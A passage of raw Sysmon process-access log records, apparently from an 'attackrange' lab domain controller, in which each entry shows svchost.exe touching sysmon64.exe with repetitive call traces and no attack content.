C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1485,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1486,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1487,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1488,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1489,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1490,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1491,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1492,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 